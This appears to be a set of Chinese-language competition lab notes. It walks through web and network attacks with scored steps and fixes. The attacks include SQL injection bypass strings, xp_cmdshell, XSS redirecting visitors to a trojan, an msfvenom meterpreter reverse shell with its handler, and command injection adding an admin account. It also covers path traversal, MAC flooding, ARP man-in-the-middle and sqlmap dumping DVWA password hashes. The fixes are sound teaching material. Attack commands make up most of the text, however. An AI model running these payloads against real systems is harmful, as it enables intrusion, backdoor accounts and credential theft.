<script src=http://xxx.xxx/a.js></script>
调用有漏洞的JS
提交变量名
     找到源码中的input提交项,如
找到提交按钮的以下变量:
name="usernm"
name="passwd"
通过sql注入让任意用户登录
     基本上为any' or 100='100 或 any' and =' 100或使用 'OR"=' 万能账号  或 1’and ‘1’ =’2 或 1’or ‘1’ =’2
修复语句:
select password from users where username=’$username’
if($obj->password==$password)
 
通过sql执行shell指令
输入“%”,返回所有用户信息
输入“_”,返回所有用户信息
删除DCST中的WebServ2003服务器的C:\目录下的1.txt文档
‘exec master.dbo.xp_cmdshell ‘del c:\1.txt’--
修复:
$keyWord=$_REQUEST[‘usernm’]之后加入转意语句:
$keyWord=addslashes($keyWord);
$keyWrod=str_replace("%","\%",$keyWord);
$keyWord=str_replace("_","\_",$keyWord);
XSS和CSRF攻防
     这里也是先找到提交的变量名:
name="MessageUsername"
name="message"
确定可注入点:
<script>while(1){alert("Hacker!");};</script>
有弹窗回显,则表明注入成功
弹出alert("Hacker!")括号中的消息
使页面访问者执行网站的木马程序:
http://hacker.org/TrojanHorse.exe
注入代码:
<script>location.href="http://hacker.org/TrojanHorse.exe";</script>
有弹窗回显下载木马提示,则成功
 
Kali生成木马程序TrojanHorse.exe
msfvenom –p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=80 –f exe –o trojanhorse.exe
 
-p后面是payload名称,然后是你的ip和端口(payload参数),然后是-f 格式,由于是实验就先设置exe,然后-o payload.exe指保存为payload.exe
连接木马程序
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp     #设置模块路径
msf exploit(handler) > set LHOST X.X.X.X    #前面生成木马设置的控制端
LHOST ==> x.x.x.x
msf exploit(handler) > set LPORT 80     #前面设置的链接端口号
LPORT ==> 80
msf exploit(handler) > exploit     #开始执行链接被控制端
修复:
在服务器场景原insert.php程序语句$info=$_REQUEST[‘message’]后加入:
绿色部分,通过替换函数,通过其它字符({},(),[]等字符)替换字符“<”和“>”均可得分;
$info=str_replace(“<”,”(”,$info);
$info=str_replace(“>”,”)”,$info);
$info=str_replace(“<”,”{”,$info);
$info=str_replace(“>”,” }”,$info);
$info=str_replace(“<”,”[”,$info);
$info=str_replace(“>”,” ]”,$info);
再继续注入<script>while(1){alert("Hacker!");};</script>
发现失败,则修复成功!
注入提交变量
在页面中找到提交变量,如链接:echo "<a href="shoppingProcess.php?goods=keyboard&quantity=1 ">Monitadadasdasd:500.00</a></br>"
找到提交的变量名:(3分)
goods=keyboard&quantity=1
goods=mouse&quantity=1
goods=monitor&quantity=1
goods=cpu&quantity=1
goods=memory&quantity=1
goods=dvdrom&quantity=1
访问者向页面提交参数
<script>
document.location="http://X.X.X.X/ShoppingProcess.php?goods=cpu&quantity=999999";
</script>
修复:
echo “Content:”.”$obj->info”.”……”
替换为:
echo “Content:”.strip_tags(”$obj->info”).”……”
再继续注入<script>while(1){alert("Hacker!");};</script>
发现失败,则修复成功!
SQL Server企业管理器中,Message表中info字段注入语句含有标记<script></script>
命令注入与文件包含攻防
使页面DisplayDirectoryCtrl.php回显C:\Windows目录内容的同时,对WebServer添加账号“Hacker”,将该账号加入管理员组
WINDOWS | net user Hacker P@ssword /add
WINDOWS | net localgroup administrators Hacker /add
排除 |
$str=’|’;
if(strstr($directory,$str)==false)
问日志文件:AppServ/Apache2.2/logs/access.log的内容
..\..\..\AppServ\Apache2.2\logs\access.log
转义..,阻止垮目录查看
$str=’..’
if(strstr($directory,$str)==false)
再次注入测试:
..\..\..\AppServ\Apache2.2\logs\access.log
提示非法输入!
数据窃取防护:二层攻防
 查看DCRS交换机VLAN10的MAC地址表容量信息
show mac-address-table count vlan 10
Max entires……
Total……:16384
Current entires……
Total……:该数值小于10
 主要看Total的值
对MAC进行攻击
macof         #kali里使用
伪造多个mac
验证:
show mac-address-table count vlan 10
Max entires……
Total……:16384
Current entires……
Total……:该数值=16384
可以看到Total的值明显增加!
 
在MAC地址表溢出时监听webserver2003的HTTP流量
wireshark     #在kail里使用,调出wiresharh
查找http数据包
找的包
Source:PC1的IP地址(与参数表一致)
Destination:服务器场景的IP地址(与参数表一致)
Protocol:HTTP
修复:
Kali连接口配置Port Security,阻止渗透
mac-address-learning cpu-control     #进入安全配置
#VLAN10每个接口全部启用
Interface Ethernet1/0/X
switchport port-security
#再清空前面学习的地址表
clear mac-address-table dynamic
show mac-address-table count vlan 10  #再次查看mac地址表
发现Total的值没有异常,并且wireshark无法监听http的流量
ARP攻击
查看ARP表:
arp -a
使用kail进行ARP Spoofing渗透测试,
arpspoof –t PC1_IP WebServ2003_IP
这里是让PC的ARP无法访问webserver,进行毒化
让WebServ2003的IP对应Kali的MAC地址
ARP中间人渗透测试
arpspoof –t PC1_IP WebServ2003_IP     #使PC上webserver的mac为kail的mac
arpspoof –t WebServ2003_IP PC1_IP     #使pc上webserver的ip为kail的ip
     访问  web服务器IP/success.php
再次使用wireshark监听http
找到监听到的用户名及密码
修复:
DCRS交换机上配置Access Management特性
在kail上配置:     #也就是绑定mac
Interface Ethernet1/0/X
 am port
 am mac-ip-pool Mac(Kali) IP(Kali)
然后再次查看arp -a ,看是否正确
通过IP DHCP Snooping Bind特性来阻止Kali发起ARP Spoofing渗透测试
 先删除前面配置的Access Management技术配置
ip dhcp snooping enable
ip dhcp snooping vlan 10
ip dhcp snooping binding enable
ip dhcp snooping binding user Mac(Kali) address IP(Kali) vlan 10 interface Ethernet1/0/X(Kali连接的接口)
在Kali连接的接口配置:
Interface Ethernet1/0/X
ip dhcp snooping binding user-control
修复:
再次ARP Spoofing渗透测试
arpspoof –t PC1_IP WebServ2003_IP
再查看arp -a 来查看mac是否被改变
数据窃取防护:生成树攻防
spanning-tree
spanning-tree mode stp
spanning-tree mst 0 priority 0
Kali: Yersinia –G
sqlmap:
该界面是通过输入用户id 查询用户信息,用户id 是小于20的id
1.找到sql注入点,通过 ' 字符验证有SQL注入漏洞(1分)
1''
http://blog.sina.com.cn/s/blog_5c92dd1f0102vjfg.html
2.查看页面源代码,找到页面"Submit"的名字和值,并截屏(2分)
右键加V  查找
3.通过浏览器及其插件得到cookie 值,并截屏(2分)
4.在xclient 用sqlmap 做注入攻击,获取后台的数据库信息,操作系统信息,以及web系统信息,并截
屏(2分)
 
sqlmap -r /root/ccc.txt -b --current-db --current-user
–current-db : 获取当前数据库
current-user:获取当前用户
5.在xclient 用sqlmap 做注入攻击,获取当前数据库名,并截屏(2分)
sqlmap -r /root/aaa.txt --dbs
./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
1、–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
2、-u : 指定目标URL
3、-b : 获取DBMS banner
4、–current-db : 获取当前数据库
5、–current-user:获取当前用户
#ccc.txt为cookie
 
6.在xclient 用sqlmap 做注入攻击,获取当前数据库的所有表,并截屏(2分)
sqlmap -r /root/aaa.txt -D dvwa --tables
7.猜测当前的用户信息表名,在xclient 用sqlmap 做注入攻击,获取当前数据库的用户表的结构,并截屏(2分)
sqlmap -r /root/aaa.txt -D dvwa -T users --columns
----------------------------------------------------------
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+
 
Database: dvwa
Table: guestbook
[3 columns]
+------------+----------------------+
| Column     | Type                 |
+------------+----------------------+
| comment    | varchar(300)         |
| comment_id | smallint(5) unsigned |
| name       | varchar(100)         |
+------------+----------------------+
 
#-T : 要枚举的DBMS数据库表  –columns : 枚举  DBMS数据库表中的所有列
 
8.在xclient 用sqlmap 做注入攻击,获取当前数据库的用户表内容信息,并截屏(2分)
sqlmap -r /root/aaa.txt -D dvwa -T users -C user,password --dump     #只获取user和password
sqlmap -r /root/aaa.txt -D dvwa -T users --dump     #获取所有的
---------------------------------------
Database: dvwa
Table: users
[5 entries]                                                                                                                                                                                                                                                                           
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                          | password                                    | last_name | first_name |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
 
- -T : 要枚举的DBMS数据表
- -C: 要枚举的DBMS数据表中的列
- –dump : 转储DBMS数据表项